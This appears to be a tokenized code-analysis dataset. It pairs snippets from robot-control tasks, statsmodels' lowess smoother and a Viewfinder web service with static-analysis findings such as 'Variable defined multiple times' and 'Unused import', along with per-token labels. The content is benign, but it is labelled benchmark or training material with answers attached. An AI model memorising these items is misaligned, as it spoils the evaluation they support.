"walk", " ", "through", " ", "door", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "approve", " ", "foot", "step", "s", "'_", ",_", "message_", "=_", "'", "Ple", "ase", " ", "approve", " ", "foot", "step", " ", "plan", ".'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Commi", "t", "Foot", "step", "Plan_", "(_", "name_", "=_", "'", "walk", " ", "to", " ", "door", "'_", ",_", "plan", "Name_", "=_", "'", "door", " ", "walk", " ", "frame", " ", "foot", "step", " ", "plan", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Wait", "For", "Walk", "Execution_", "(_", "name_", "=_", "'", "wait", " ", "for", " ", "walking", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "folder_", "=_", "add", "Folder_", "(_", "'", "Prep", " ", "for", " ", "walking", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Clos", "e", "Hand_", "(_", "name_", "=_", "'", "close", " ", "left", " ", "hand", "'_", ",_", "side_", "=_", "'", "Le", "ft", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Clos", "e", "Hand_", "(_", "name_", "=_", "'", "close", " ", "right", " ", "hand", "'_", ",_", "side_", "=_", "'", "Rig", "ht", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Plan", "Post", "ure", "Goal", "_", "(_", "name_", "=_", "'", "plan", " ", "walk", " ", "post", "ure", "'_", ",_", "post", "ure", "Group_", "=_", "'", "General", "'_", ",_", "post", "ure", "Name_", "=_", "'", "safe", " ", "nominal", "'_", ",_", "side_", "=_", "'", "Default", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "User", "Prom", "pt", "Task_", "(_", "name_", "=_", "'", "approve", " ", "manip", " ", "plan", "'_", ",_", "message_", "=_", "'", "Ple", "ase", " ", "approve", " ", "manip", " ", "plan", ".'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Commi", "t", "Manipulat", "ion", "Plan_", "(_", "name_", "=_", "'", "execute", " ", "manip", " ", "plan", "'_", ",_", "plan", "Name_", "=_", "'", "safe", " ", "nominal", " ", "post", "ure", " ", "plan", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Task_", "(_", "rt_", "._", "Wait", "For", "Manipulat", "ion", "Plan", "Execution_", "(_", "name_", "=_", "'", "wait", " ", "for", " ", "manip", " ", "executi", "on", "'_", ")_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
statsmodels/statsmodels/statsmodels/nonparametric/smoothers_lowess_old.py
[ { "content": "def lowess(endog, exog, frac=2./3, it=3):\n \"\"\"\n LOWESS (Locally Weighted Scatterplot Smoothing)\n\n A lowess function that outs smoothed estimates of endog\n at the given exog values from points (exog, endog)\n\n Parameters\n ----------\n endog: 1-D numpy array\n The y-values of the observed points\n exog: 1-D numpy array\n The x-values of the observed points\n frac: float\n Between 0 and 1. The fraction of the data used\n when estimating each y-value.\n it: int\n The number of residual-based reweightings\n to perform.\n\n Returns\n -------\n out: numpy array\n A numpy array with two columns. The first column\n is the sorted x values and the second column the\n associated estimated y-values.\n\n Notes\n -----\n This lowess function implements the algorithm given in the\n reference below using local linear estimates.\n\n Suppose the input data has N points. The algorithm works by\n estimating the true ``y_i`` by taking the frac*N closest points\n to ``(x_i,y_i)`` based on their x values and estimating ``y_i``\n using a weighted linear regression. The weight for ``(x_j,y_j)``\n is `_lowess_tricube` function applied to ``|x_i-x_j|``.\n\n If ``iter > 0``, then further weighted local linear regressions\n are performed, where the weights are the same as above\n times the `_lowess_bisquare` function of the residuals. Each iteration\n takes approximately the same amount of time as the original fit,\n so these iterations are expensive. They are most useful when\n the noise has extremely heavy tails, such as Cauchy noise.\n Noise with less heavy-tails, such as t-distributions with ``df > 2``,\n are less problematic. The weights downgrade the influence of\n points with large residuals. In the extreme case, points whose\n residuals are larger than 6 times the median absolute residual\n are given weight 0.\n\n Some experimentation is likely required to find a good\n choice of frac and iter for a particular dataset.\n\n References\n ----------\n Cleveland, W.S. (1979) \"Robust Locally Weighted Regression\n and Smoothing Scatterplots\". Journal of the American Statistical\n Association 74 (368): 829-836.\n\n Examples\n --------\n The below allows a comparison between how different the fits from\n `lowess` for different values of frac can be.\n\n >>> import numpy as np\n >>> import statsmodels.api as sm\n >>> lowess = sm.nonparametric.lowess\n >>> x = np.random.uniform(low=-2*np.pi, high=2*np.pi, size=500)\n >>> y = np.sin(x) + np.random.normal(size=len(x))\n >>> z = lowess(y, x)\n >>> w = lowess(y, x, frac=1./3)\n\n This gives a similar comparison for when it is 0 vs not.\n\n >>> import scipy.stats as stats\n >>> x = np.random.uniform(low=-2*np.pi, high=2*np.pi, size=500)\n >>> y = np.sin(x) + stats.cauchy.rvs(size=len(x))\n >>> z = lowess(y, x, frac= 1./3, it=0)\n >>> w = lowess(y, x, frac=1./3)\n\n \"\"\"\n x = exog\n\n if exog.ndim != 1:\n raise ValueError('exog must be a vector')\n if endog.ndim != 1:\n raise ValueError('endog must be a vector')\n if endog.shape[0] != x.shape[0] :\n raise ValueError('exog and endog must have same length')\n\n n = exog.shape[0]\n fitted = np.zeros(n)\n\n k = int(frac * n)\n\n index_array = np.argsort(exog)\n x_copy = np.array(exog[index_array]) #, dtype ='float32')\n y_copy = endog[index_array]\n\n fitted, weights = _lowess_initial_fit(x_copy, y_copy, k, n)\n\n for i in range(it):\n _lowess_robustify_fit(x_copy, y_copy, fitted,\n weights, k, n)\n\n out = np.array([x_copy, fitted]).T\n out.shape = (n,2)\n\n return out", "metadata": "root.lowess", "header": "['module', '___EOS___']", "index": 14 } ]
[ { "span": "fitted ", "start_line": 105, "start_column": 4, "end_line": 105, "end_column": 10 } ]
[ { "span": "fitted,", "start_line": 113, "start_column": 4, "end_line": 113, "end_column": 10 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "lowe", "ss_", "(_", "endo", "g_", ",_", "exo", "g_", ",_", "frac_", "=_", "2._", "/_", "3_", ",_", "it_", "=_", "3_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "LOW", "ESS", " ", "(", "Local", "ly", " ", "Weig", "hte", "d", " ", "Scatter", "plot", " ", "Smooth", "ing", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "lowe", "ss", " ", "function", " ", "tha", "t", " ", "outs", " ", "smoothed", " ", "estimate", "s", " ", "of", " ", "endo", "g", "\\", "10", ";", " ", " ", " ", " ", "at", " ", "the", " ", "give", "n", " ", "exo", "g", " ", "values", " ", "from", " ", "points", " ", "(", "exo", "g", ",", " ", "endo", "g", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "endo", "g", ":", " ", "1", "-", "D", " ", "nump", "y", " ", "array", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "y", "-", "values", " ", "of", " ", "the", " ", "observe", "d", " ", "points", "\\", "10", ";", " ", " ", " ", " ", "exo", "g", ":", " ", "1", "-", "D", " ", "nump", "y", " ", "array", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "x", "-", "values", " ", "of", " ", "the", " ", "observe", "d", " ", "points", "\\", "10", ";", " ", " ", " ", " ", "frac", ":", " ", "float", "\\", "10", ";", " ", " ", " ", " ", "Bet", "ween", " ", "0", " ", "and", " ", "1", ".", " ", "The", " ", "fract", "ion", " ", "of", " ", "the", " ", "data", " ", "used", "\\", "10", ";", " ", " ", " ", " ", "whe", "n", " ", "estimati", "ng", " ", "each", " ", "y", "-", "value", ".", "\\", "10", ";", " ", " ", " ", " ", "it", ":", " ", "int", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "number", " ", "of", " ", "residu", "al", "-", "based", " ", "rew", "eight", "ings", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "perform", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", "\\", "10", ";", " ", " ", " ", " ", "-------", "\\", "10", ";", " ", " ", " ", " ", "out", ":", " ", "nump", "y", " ", "array", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "nump", "y", " ", "array", " ", "with", " ", "two", " ", "column", "s", ".", " ", "The", " ", "first", " ", "column", "\\", "10", ";", " ", " ", " ", " ", "is", " ", "the", " ", "sorte", "d", " ", "x", " ", "values", " ", "and", " ", "the", " ", "second", " ", "column", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "associate", "d", " ", "estimate", "d", " ", "y", "-", "values", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "es", "\\", "10", ";", " ", " ", " ", " ", "-----", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "lowe", "ss", " ", "function", " ", "implement", "s", " ", "the", " ", "algo", "rit", "hm", " ", "give", "n", " ", "in", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "reference", " ", "belo", "w", " ", "usi", "ng", " ", "local", " ", "linear", " ", "estimate", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Supp", "ose", " ", "the", " ", "input", " ", "data", " ", "has", " ", "N", " ", "points", ".", " ", "The", " ", "algo", "rit", "hm", " ", "works", " ", "by", "\\", "10", ";", " ", " ", " ", " ", "estimati", "ng", " ", "the", " ", "true", " ", "``", "y", "\\u", "i", "``", " ", "by", " ", "tak", "ing", " ", "the", " ", "frac", "*", "N", " ", "closest", " ", "points", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "``", "(", "x", "\\u", "i", ",", "y", "\\u", "i", ")`", "`", " ", "based", " ", "on", " ", "thei", "r", " ", "x", " ", "values", " ", "and", " ", "estimati", "ng", " ", "``", "y", "\\u", "i", "``", "\\", "10", ";", " ", " ", " ", " ", "usi", "ng", " ", "a", " ", "weight", "ed", " ", "linear", " ", "regress", "ion", ".", " ", "The", " ", "weight", " ", "for", " ", "``", "(", "x", "\\u", "j", ",", "y", "\\u", "j", ")`", "`", "\\", "10", ";", " ", " ", " ", " ", "is", " ", "`\\u", "lowe", "ss", "\\u", "tric", "ube", "`", " ", "function", " ", "applied", " ", "to", " ", "``", "|", "x", "\\u", "i", "-", "x", "\\u", "j", "|", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "``", "iter", " ", ">", " ", "0", "``", ",", " ", "then", " ", "fur", "ther", " ", "weight", "ed", " ", "local", " ", "linear", " ", "regress", "ion", "s", "\\", "10", ";", " ", " ", " ", " ", "are", " ", "perform", "ed", ",", " ", "where", " ", "the", " ", "weight", "s", " ", "are", " ", "the", " ", "same", " ", "as", " ", "above", "\\", "10", ";", " ", " ", " ", " ", "times", " ", "the", " ", "`\\u", "lowe", "ss", "\\u", "bis", "quare", "`", " ", "function", " ", "of", " ", "the", " ", "residu", "als", ".", " ", "Ea", "ch", " ", "iterati", "on", "\\", "10", ";", " ", " ", " ", " ", "take", "s", " ", "approximate", "ly", " ", "the", " ", "same", " ", "amo", "unt", " ", "of", " ", "time", " ", "as", " ", "the", " ", "original", " ", "fit", ",", "\\", "10", ";", " ", " ", " ", " ", "so", " ", "these", " ", "iterati", "ons", " ", "are", " ", "expen", "sive", ".", " ", "The", "y", " ", "are", " ", "most", " ", "usef", "ul", " ", "whe", "n", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "noise", " ", "has", " ", "extreme", "ly", " ", "heav", "y", " ", "tails", ",", " ", "suc", "h", " ", "as", " ", "Cau", "chy", " ", "noise", ".", "\\", "10", ";", " ", " ", " ", " ", "No", "ise", " ", "with", " ", "less", " ", "heav", "y", "-", "tails", ",", " ", "suc", "h", " ", "as", " ", "t", "-", "distribu", "tion", "s", " ", "with", " ", "``", "df", " ", ">", " ", "2", "``", ",", "\\", "10", ";", " ", " ", " ", " ", "are", " ", "less", " ", "problem", "atic", ".", " ", "The", " ", "weight", "s", " ", "down", "grade", " ", "the", " ", "influence", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "points", " ", "with", " ", "large", " ", "residu", "als", ".", " ", "In", " ", "the", " ", "extreme", " ", "case", ",", " ", "points", " ", "who", "se", "\\", "10", ";", " ", " ", " ", " ", "residu", "als", " ", "are", " ", "large", "r", " ", "than", " ", "6", " ", "times", " ", "the", " ", "median", " ", "abs", "olute", " ", "residu", "al", "\\", "10", ";", " ", " ", " ", " ", "are", " ", "give", "n", " ", "weight", " ", "0.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Some", " ", "experiment", "ation", " ", "is", " ", "like", "ly", " ", "require", "d", " ", "to", " ", "find", " ", "a", " ", "good", "\\", "10", ";", " ", " ", " ", " ", "choice", " ", "of", " ", "frac", " ", "and", " ", "iter", " ", "for", " ", "a", " ", "partic", "ular", " ", "dataset", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Reference", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "Cle", "vel", "and", ",", " ", "W", ".", "S", ".", " ", "(", "1979", ")", " ", "\"", "Rob", "ust", " ", "Local", "ly", " ", "Weig", "hte", "d", " ", "Regr", "ession", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "Smooth", "ing", " ", "Scatter", "plots", "\".", " ", "Journ", "al", " ", "of", " ", "the", " ", "Ame", "rica", "n", " ", "Statistic", "al", "\\", "10", ";", " ", " ", " ", " ", "Assoc", "iation", " ", "7", "4", " ", "(", "368", "):", " ", "829", "-", "836", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "--------", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "belo", "w", " ", "allow", "s", " ", "a", " ", "compa", "ris", "on", " ", "bet", "ween", " ", "how", " ", "different", " ", "the", " ", "fits", " ", "from", "\\", "10", ";", " ", " ", " ", " ", "`", "lowe", "ss", "`", " ", "for", " ", "different", " ", "values", " ", "of", " ", "frac", " ", "can", " ", "be", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "import", " ", "nump", "y", " ", "as", " ", "np", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "import", " ", "stats", "model", "s", ".", "api", " ", "as", " ", "sm", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "lowe", "ss", " ", "=", " ", "sm", ".", "nonp", "aram", "etric", ".", "lowe", "ss", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "x", " ", "=", " ", "np", ".", "random", ".", "uniform", "(", "low", "=-", "2", "*", "np", ".", "pi", ",", " ", "high", "=", "2", "*", "np", ".", "pi", ",", " ", "size", "=", "500", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "y", " ", "=", " ", "np", ".", "sin", "(", "x", ")", " ", "+", " ", "np", ".", "random", ".", "normal", "(", "size", "=", "len", "(", "x", "))\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "z", " ", "=", " ", "lowe", "ss", "(", "y", ",", " ", "x", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "w", " ", "=", " ", "lowe", "ss", "(", "y", ",", " ", "x", ",", " ", "frac", "=", "1", "./", "3", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "give", "s", " ", "a", " ", "similar", " ", "compa", "ris", "on", " ", "for", " ", "whe", "n", " ", "it", " ", "is", " ", "0", " ", "vs", " ", "not", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "import", " ", "sci", "py", ".", "stats", " ", "as", " ", "stats", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "x", " ", "=", " ", "np", ".", "random", ".", "uniform", "(", "low", "=-", "2", "*", "np", ".", "pi", ",", " ", "high", "=", "2", "*", "np", ".", "pi", ",", " ", "size", "=", "500", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "y", " ", "=", " ", "np", ".", "sin", "(", "x", ")", " ", "+", " ", "stats", ".", "cau", "chy", ".", "rv", "s", "(", "size", "=", "len", "(", "x", "))\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "z", " ", "=", " ", "lowe", "ss", "(", "y", ",", " ", "x", ",", " ", "frac", "=", " ", "1", "./", "3", ",", " ", "it", "=", "0", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "w", " ", "=", " ", "lowe", "ss", "(", "y", ",", " ", "x", ",", " ", "frac", "=", "1", "./", "3", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "exo", "g_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "exo", "g_", "._", "ndim_", "!=_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "exo", "g", " ", "must", " ", "be", " ", "a", " ", "vector", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "endo", "g_", "._", "ndim_", "!=_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "endo", "g", " ", "must", " ", "be", " ", "a", " ", "vector", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "endo", "g_", "._", "shape_", "[_", "0_", "]_", "!=_", "x_", "._", "shape_", "[_", "0_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "exo", "g", " ", "and", " ", "endo", "g", " ", "must", " ", "have", " ", "same", " ", "length", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "n_", "=_", "exo", "g_", "._", "shape_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fitted", "_", "=_", "np_", "._", "zeros_", "(_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "k_", "=_", "int_", "(_", "frac_", "*_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "index", "\\u", "array_", "=_", "np_", "._", "argsort_", "(_", "exo", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x", "\\u", "copy_", "=_", "np_", "._", "array_", "(_", "exo", "g_", "[_", "index", "\\u", "array_", "]_", ")_", "#", ",", " ", "dt", "ype", " ", "='", "float", "32", "')", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y", "\\u", "copy_", "=_", "endo", "g_", "[_", "index", "\\u", "array_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fitted", "_", ",_", "weights_", "=_", "\\u", "lowe", "ss", "\\u", "initial", "\\u", "fit_", "(_", "x", "\\u", "copy_", ",_", "y", "\\u", "copy_", ",_", "k_", ",_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "it_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "lowe", "ss", "\\u", "robust", "if", "y", "\\u", "fit_", "(_", "x", "\\u", "copy_", ",_", "y", "\\u", "copy_", ",_", "fitted", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "weights_", ",_", "k_", ",_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "out_", "=_", "np_", "._", "array_", "(_", "[_", "x", "\\u", "copy_", ",_", "fitted", "_", "]_", ")_", "._", "T_", "\\u\\u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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
viewfinderco/viewfinder/backend/www/service.py
[ { "content": "# Copyright 2011 Viewfinder Inc. All Rights Reserved.\n\n\"\"\"Handler for Viewfinder service RPCs.\n\n - ServiceHandler: web request handler for REST API.\n\"\"\"\n\n__authors__ = ['spencer@emailscrubbed.com (Spencer Kimball)',\n 'andy@emailscrubbed.com (Andy Kimball)']\n\nimport base64\nimport logging\nimport json\nimport time\nimport toro\nimport validictory\n\nfrom copy import deepcopy\nfrom functools import partial\nfrom tornado import gen, web\nfrom tornado.ioloop import IOLoop\nfrom viewfinder.backend.base import constants, counters, handler, secrets, util\nfrom viewfinder.backend.base.message import Message, MIN_SUPPORTED_MESSAGE_VERSION, MAX_SUPPORTED_MESSAGE_VERSION\nfrom viewfinder.backend.base.message import REQUIRED_MIGRATORS, INLINE_INVALIDATIONS, INLINE_COMMENTS\nfrom viewfinder.backend.base.message import EXTRACT_FILE_SIZES, EXTRACT_ASSET_KEYS, SPLIT_NAMES, EXPLICIT_SHARE_ORDER\nfrom viewfinder.backend.base.message import SUPPRESS_BLANK_COVER_PHOTO, SUPPORT_MULTIPLE_IDENTITIES_PER_CONTACT\nfrom viewfinder.backend.base.message import RENAME_PHOTO_LABEL, SUPPORT_REMOVED_FOLLOWERS, SUPPRESS_COPY_TIMESTAMP\nfrom viewfinder.backend.base.message import SUPPORT_CONTACT_LIMITS, SUPPRESS_EMPTY_TITLE\nfrom viewfinder.backend.base.exceptions import InvalidRequestError, PermissionError\nfrom viewfinder.backend.db import db_client\nfrom viewfinder.backend.db.accounting import Accounting\nfrom viewfinder.backend.db.activity import Activity\nfrom viewfinder.backend.db.asset_id import IdPrefix\nfrom viewfinder.backend.db.comment import Comment\nfrom viewfinder.backend.db.client_log import ClientLog\nfrom viewfinder.backend.db.contact import Contact\nfrom viewfinder.backend.db.episode import Episode\nfrom viewfinder.backend.db.followed import Followed\nfrom viewfinder.backend.db.follower import Follower\nfrom viewfinder.backend.db.identity import Identity\nfrom viewfinder.backend.db.operation import Operation\nfrom viewfinder.backend.db.photo import Photo\nfrom viewfinder.backend.db.post import Post\nfrom viewfinder.backend.db.subscription import Subscription\nfrom viewfinder.backend.db.user import User\nfrom viewfinder.backend.db.user_photo import UserPhoto\nfrom viewfinder.backend.db.user_post import UserPost\nfrom viewfinder.backend.db.viewpoint import Viewpoint\nfrom viewfinder.backend.op.notification_manager import NotificationManager\nfrom viewfinder.backend.resources.calendar import Calendar\nfrom viewfinder.backend.resources.message.error_messages import INVALID_JSON_REQUEST, MERGE_COOKIE_NOT_CONFIRMED\nfrom viewfinder.backend.resources.message.error_messages import MISSING_MERGE_SOURCE, UNSUPPORTED_ASSET_TYPE\nfrom viewfinder.backend.resources.message.error_messages import UPDATE_PWD_NOT_CONFIRMED, IDENTITY_NOT_CANONICAL\nfrom viewfinder.backend.services.itunes_store import ITunesStoreClient, VerifyResponse\nfrom viewfinder.backend.www import base, json_schema, password_util, photo_store, www_util\n\n\n# Counter which tracks average time per request. All request types are considered.\n# A single snapshot of this value is not interesting, but historical data can be used\n# to track the usage of resources on a machine.\n_avg_req_time = counters.define_average('viewfinder.service.avg_req_time', 'Average seconds per client request.')\n_req_per_min = counters.define_rate('viewfinder.service.req_per_min', 'Average # of client requests per minute.', 60)\n_fail_per_min = counters.define_rate('viewfinder.service.fail_per_min', 'Average # of failed client requests per minute.', 60)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@gen.coroutine\ndef AddFollowers(client, obj_store, user_id, device_id, request):\n \"\"\"Add resolved contacts as followers of an existing viewpoint.\"\"\"\n request['user_id'] = user_id\n yield Activity.VerifyActivityId(client, user_id, device_id, request['activity']['activity_id'])\n\n # Validate contact identities.\n _ValidateContacts(request['contacts'])\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n user_id,\n device_id,\n 'AddFollowersOperation.Execute',\n request)\n\n logging.info('ADD FOLLOWERS: user: %d, device: %d, %d contacts' %\n (user_id, device_id, len(request['contacts'])))\n\n raise gen.Return({})", "metadata": "root.AddFollowers", "header": "['module', '___EOS___']", "index": 65 }, { "content": "@gen.coroutine\ndef AllocateIds(client, obj_store, user_id, device_id, request):\n \"\"\"Allocates an asset id for the current device. The request should include the asset id prefix\n for the requested type. Currently, only comment, activity and operation ids are supported.\n \"\"\"\n prefixes = request['asset_types']\n timestamp = util.GetCurrentTimestamp()\n\n def ValidateId(prefix):\n \"\"\"Validate a single requested Id\"\"\"\n if not IdPrefix.IsValid(prefix):\n raise InvalidRequestError(UNSUPPORTED_ASSET_TYPE, asset_type=prefix)\n\n # Among valid prefixes, only Activity, Comment and Operation are supported.\n if not prefix in 'acop':\n raise InvalidRequestError(UNSUPPORTED_ASSET_TYPE, asset_type=IdPrefix.GetAssetName(prefix))\n\n def ConstructId(prefix, uniquifier):\n if prefix == 'a':\n asset_id = Activity.ConstructActivityId(timestamp, device_id, uniquifier)\n elif prefix == 'c':\n asset_id = Comment.ConstructCommentId(timestamp, device_id, uniquifier)\n elif prefix == 'p':\n asset_id = Photo.ConstructPhotoId(timestamp, device_id, uniquifier)\n else:\n asset_id = Operation.ConstructOperationId(device_id, uniquifier)\n\n return asset_id\n\n for prefix in prefixes:\n ValidateId(prefix)\n\n # AllocateAssetIds returns a unique, increasing number which can be used as a unique component of asset ids.\n unique_start = yield gen.Task(User.AllocateAssetIds, client, user_id, len(prefixes))\n\n asset_ids = [ConstructId(p, u) for p, u in zip(prefixes, range(unique_start, unique_start + len(prefixes)))]\n raise gen.Return({'asset_ids': asset_ids, 'timestamp': timestamp})", "metadata": "root.AllocateIds", "header": "['module', '___EOS___']", "index": 87 }, { "content": "@gen.coroutine\ndef BuildArchive(client, obj_store, user_id, device_id, request):\n \"\"\"Request the service to build a zip file of all of a users conversations and associated photos.\n Once the zip has been stored to S3, an email will be mailed to the user with a signed S3 url which\n will expire after 24 hours.\n \"\"\"\n request['user_id'] = user_id\n\n yield gen.Task(Operation.CreateAndExecute,\n client,\n 0, # All build archive 